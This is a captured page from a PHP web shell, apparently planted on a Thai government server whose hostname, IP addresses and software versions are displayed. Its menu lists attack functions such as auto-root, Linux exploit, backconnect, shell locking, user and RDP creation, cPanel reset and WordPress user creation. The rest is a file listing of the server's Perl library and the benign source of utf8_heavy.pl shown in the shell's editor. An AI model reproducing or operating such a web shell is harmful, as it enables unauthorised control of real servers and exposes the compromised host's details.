Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
CPANPLUS
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.53
KB
-rw-r--r--
AutoLoader.pm
14.65
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.86
KB
-rw-r--r--
CGI.pm
255.35
KB
-rw-r--r--
CORE.pod
1.53
KB
-rw-r--r--
CPAN.pm
127.84
KB
-rw-r--r--
CPANPLUS.pm
7.1
KB
-rw-r--r--
Carp.pm
7.43
KB
-rw-r--r--
DB.pm
18.75
KB
-rw-r--r--
DBM_Filter.pm
14.08
KB
-rw-r--r--
Digest.pm
10.17
KB
-rw-r--r--
DirHandle.pm
1.89
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.38
KB
-rw-r--r--
Env.pm
5.05
KB
-rw-r--r--
Error.pm
23.55
KB
-rw-r--r--
Exporter.pm
18.16
KB
-rw-r--r--
Fatal.pm
40.01
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
5.53
KB
-rw-r--r--
Memoize.pm
34.47
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.86
KB
-rw-r--r--
Safe.pm
23.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.93
KB
-rw-r--r--
Shell.pm
8.48
KB
-rw-r--r--
Switch.pm
27.84
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.38
KB
-rw-r--r--
URI.pm
30.44
KB
-rw-r--r--
abbrev.pl
838
B
-rw-r--r--
assert.pl
1.27
KB
-rw-r--r--
attributes.pm
14.53
KB
-rw-r--r--
autodie.pm
11.49
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.82
KB
-rw-r--r--
bigfloat.pl
7.2
KB
-rw-r--r--
bigint.pl
8.75
KB
-rw-r--r--
bigint.pm
17.43
KB
-rw-r--r--
bignum.pm
18.24
KB
-rw-r--r--
bigrat.pl
4.37
KB
-rw-r--r--
bigrat.pm
14.1
KB
-rw-r--r--
blib.pm
2.06
KB
-rw-r--r--
bytes.pm
2.33
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
cacheout.pl
1.1
KB
-rw-r--r--
charnames.pm
15.3
KB
-rw-r--r--
complete.pl
3.12
KB
-rw-r--r--
constant.pm
12.23
KB
-rw-r--r--
ctime.pl
1.95
KB
-rw-r--r--
diagnostics.pm
16.97
KB
-rw-r--r--
dotsh.pl
2.12
KB
-rw-r--r--
dumpvar.pl
14.92
KB
-rw-r--r--
exceptions.pl
1.7
KB
-rw-r--r--
fastcwd.pl
1019
B
-rw-r--r--
feature.pm
4.97
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
find.pl
1.16
KB
-rw-r--r--
finddepth.pl
1.1
KB
-rw-r--r--
flush.pl
642
B
-rw-r--r--
getcwd.pl
1.39
KB
-rw-r--r--
getopt.pl
1.29
KB
-rw-r--r--
getopts.pl
1.37
KB
-rw-r--r--
hostname.pl
727
B
-rw-r--r--
if.pm
1.14
KB
-rw-r--r--
importenv.pl
283
B
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.01
KB
-rw-r--r--
locale.pm
820
B
-rw-r--r--
look.pl
1.23
KB
-rw-r--r--
newgetopt.pl
2.16
KB
-rw-r--r--
open.pm
7.56
KB
-rw-r--r--
open2.pl
185
B
-rw-r--r--
open3.pl
185
B
-rw-r--r--
overload.pm
46.92
KB
-rw-r--r--
overloading.pm
1.76
KB
-rw-r--r--
parent.pm
2.93
KB
-rw-r--r--
perl5db.pl
310.24
KB
-rw-r--r--
pwd.pl
1.44
KB
-rw-r--r--
shellwords.pl
276
B
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
stat.pl
590
B
-rw-r--r--
strict.pm
3.63
KB
-rw-r--r--
subs.pm
842
B
-rw-r--r--
syslog.pl
4.69
KB
-rw-r--r--
tainted.pl
164
B
-rw-r--r--
termcap.pl
4.02
KB
-rw-r--r--
timelocal.pl
690
B
-rw-r--r--
utf8.pm
6.76
KB
-rw-r--r--
utf8_heavy.pl
7.81
KB
-rw-r--r--
validate.pl
3.64
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
version.pm
1.01
KB
-rw-r--r--
version.pod
12.03
KB
-rw-r--r--
vmsish.pm
4.23
KB
-rw-r--r--
warnings.pm
15.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utf8_heavy.pl
package utf8; use strict; use warnings; sub DEBUG () { 0 } sub DESTROY {} my %Cache; our (%PropertyAlias, %PA_reverse, %PropValueAlias, %PVA_reverse, %PVA_abbr_map); sub croak { require Carp; Carp::croak(@_) } ## ## "SWASH" == "SWATCH HASH". A "swatch" is a swatch of the Unicode landscape. ## It's a data structure that encodes a set of Unicode characters. ## sub SWASHNEW { my ($class, $type, $list, $minbits, $none) = @_; local $^D = 0 if $^D; print STDERR "SWASHNEW @_\n" if DEBUG; ## ## Get the list of codepoints for the type. ## Called from swash_init (see utf8.c) or SWASHNEW itself. ## ## Callers of swash_init: ## op.c:pmtrans -- for tr/// and y/// ## regexec.c:regclass_swash -- for /[]/, \p, and \P ## utf8.c:is_utf8_common -- for common Unicode properties ## utf8.c:to_utf8_case -- for lc, uc, ucfirst, etc. and //i ## ## Given a $type, our goal is to fill $list with the set of codepoint ## ranges. If $type is false, $list passed is used. ## ## $minbits: ## For binary properties, $minbits must be 1. ## For character mappings (case and transliteration), $minbits must ## be a number except 1. ## ## $list (or that filled according to $type): ## Refer to perlunicode.pod, "User-Defined Character Properties." ## ## For binary properties, only characters with the property value ## of True should be listed. The 3rd column, if any, will be ignored. ## ## To make the parsing of $type clear, this code takes the a rather ## unorthodox approach of last'ing out of the block once we have the ## info we need. Were this to be a subroutine, the 'last' would just ## be a 'return'. ## my $file; ## file to load data from, and also part of the %Cache key. my $ListSorted = 0; if ($type) { $type =~ s/^\s+//; $type =~ s/\s+$//; print STDERR "type = $type\n" if DEBUG; GETFILE: { ## ## It could be a user-defined property. ## my $caller1 = $type =~ s/(.+)::// ? $1 : caller(1); if (defined $caller1 && $type =~ /^(?:\w+)$/) { my $prop = "${caller1}::$type"; if (exists &{$prop}) { no strict 'refs'; $list = &{$prop}; last GETFILE; } } my $wasIs; ($wasIs = $type =~ s/^Is(?:\s+|[-_])?//i) or $type =~ s/^(?:(?:General(?:\s+|_)?)?Category|gc)\s*[:=]\s*//i or $type =~ s/^(?:Script|sc)\s*[:=]\s*//i or $type =~ s/^Block\s*[:=]\s*/In/i; ## ## See if it's in some enumeration. ## require "unicore/PVA.pl"; if ($type =~ /^([\w\s]+)[:=]\s*(.*)/) { my ($enum, $val) = (lc $1, lc $2); $enum =~ tr/ _-//d; $val =~ tr/ _-//d; my $pa = $PropertyAlias{$enum} ? $enum : $PA_reverse{$enum}; my $f = $PropValueAlias{$pa}{$val} ? $val : $PVA_reverse{$pa}{lc $val}; if ($pa and $f) { $pa = "gc_sc" if $pa eq "gc" or $pa eq "sc"; $file = "unicore/lib/$pa/$PVA_abbr_map{$pa}{lc $f}.pl"; last GETFILE; } } else { my $t = lc $type; $t =~ tr/ _-//d; if ($PropValueAlias{gc}{$t} or $PropValueAlias{sc}{$t}) { $file = "unicore/lib/gc_sc/$PVA_abbr_map{gc_sc}{$t}.pl"; last GETFILE; } } ## ## See if it's in the direct mapping table. ## require "unicore/Exact.pl"; if (my $base = $utf8::Exact{$type}) { $file = "unicore/lib/gc_sc/$base.pl"; last GETFILE; } ## ## If not there exactly, try the canonical form. The canonical ## form is lowercased, with any separators (\s+|[-_]) removed. ## my $canonical = lc $type; $canonical =~ s/(?<=[a-z\d])(?:\s+|[-_])(?=[a-z\d])//g; print STDERR "canonical = $canonical\n" if DEBUG; require "unicore/Canonical.pl"; if (my $base = ($utf8::Canonical{$canonical} || $utf8::Canonical{ lc $utf8::PropertyAlias{$canonical} })) { $file = "unicore/lib/gc_sc/$base.pl"; last GETFILE; } ## ## See if it's a user-level "To". ## my $caller0 = caller(0); if (defined $caller0 && $type =~ /^To(?:\w+)$/) { my $map = $caller0 . "::" . $type; if (exists &{$map}) { no strict 'refs'; $list = &{$map}; last GETFILE; } } ## ## Last attempt -- see if it's a standard "To" name ## (e.g. "ToLower") ToTitle is used by ucfirst(). ## The user-level way to access ToDigit() and ToFold() ## is to use Unicode::UCD. ## if ($type =~ /^To(Digit|Fold|Lower|Title|Upper)$/) { $file = "unicore/To/$1.pl"; ## would like to test to see if $file actually exists.... last GETFILE; } ## ## If we reach this line, it's because we couldn't figure ## out what to do with $type. Ouch. ## return $type; } if (defined $file) { print STDERR "found it (file='$file')\n" if DEBUG; ## ## If we reach here, it was due to a 'last GETFILE' above ## (exception: user-defined properties and mappings), so we ## have a filename, so now we load it if we haven't already. ## If we have, return the cached results. The cache key is the ## class and file to load. ## my $found = $Cache{$class, $file}; if ($found and ref($found) eq $class) { print STDERR "Returning cached '$file' for \\p{$type}\n" if DEBUG; return $found; } $list = do $file; die $@ if $@; } $ListSorted = 1; ## we know that these lists are sorted } my $extras; my $bits = $minbits; my $ORIG = $list; if ($list) { my @tmp = split(/^/m, $list); my %seen; no warnings; $extras = join '', grep /^[^0-9a-fA-F]/, @tmp; $list = join '', map { $_->[1] } sort { $a->[0] <=> $b->[0] } map { /^([0-9a-fA-F]+)/; [ CORE::hex($1), $_ ] } grep { /^([0-9a-fA-F]+)/ and not $seen{$1}++ } @tmp; # XXX doesn't do ranges right } if ($none) { my $hextra = sprintf "%04x", $none + 1; $list =~ s/\tXXXX$/\t$hextra/mg; } if ($minbits != 1 && $minbits < 32) { # not binary property my $top = 0; while ($list =~ /^([0-9a-fA-F]+)(?:[\t]([0-9a-fA-F]+)?)(?:[ \t]([0-9a-fA-F]+))?/mg) { my $min = CORE::hex $1; my $max = defined $2 ? CORE::hex $2 : $min; my $val = defined $3 ? CORE::hex $3 : 0; $val += $max - $min if defined $3; $top = $val if $val > $top; } my $topbits = $top > 0xffff ? 32 : $top > 0xff ? 16 : 8; $bits = $topbits if $bits < $topbits; } my @extras; for my $x ($extras) { pos $x = 0; while ($x =~ /^([^0-9a-fA-F\n])(.*)/mg) { my $char = $1; my $name = $2; print STDERR "$1 => $2\n" if DEBUG; if ($char =~ /[-+!&]/) { my ($c,$t) = split(/::/, $name, 2); # bogus use of ::, really my $subobj; if ($c eq 'utf8') { $subobj = utf8->SWASHNEW($t, "", $minbits, 0); } elsif (exists &$name) { $subobj = utf8->SWASHNEW($name, "", $minbits, 0); } elsif ($c =~ /^([0-9a-fA-F]+)/) { $subobj = utf8->SWASHNEW("", $c, $minbits, 0); } return $subobj unless ref $subobj; push @extras, $name => $subobj; $bits = $subobj->{BITS} if $bits < $subobj->{BITS}; } } } print STDERR "CLASS = $class, TYPE => $type, BITS => $bits, NONE => $none\nEXTRAS =>\n$extras\nLIST =>\n$list\n" if DEBUG; my $SWASH = bless { TYPE => $type, BITS => $bits, EXTRAS => $extras, LIST => $list, NONE => $none, @extras, } => $class; if ($file) { $Cache{$class, $file} = $SWASH; } return $SWASH; } # Now SWASHGET is recasted into a C function S_swash_get (see utf8.c). 1;
Close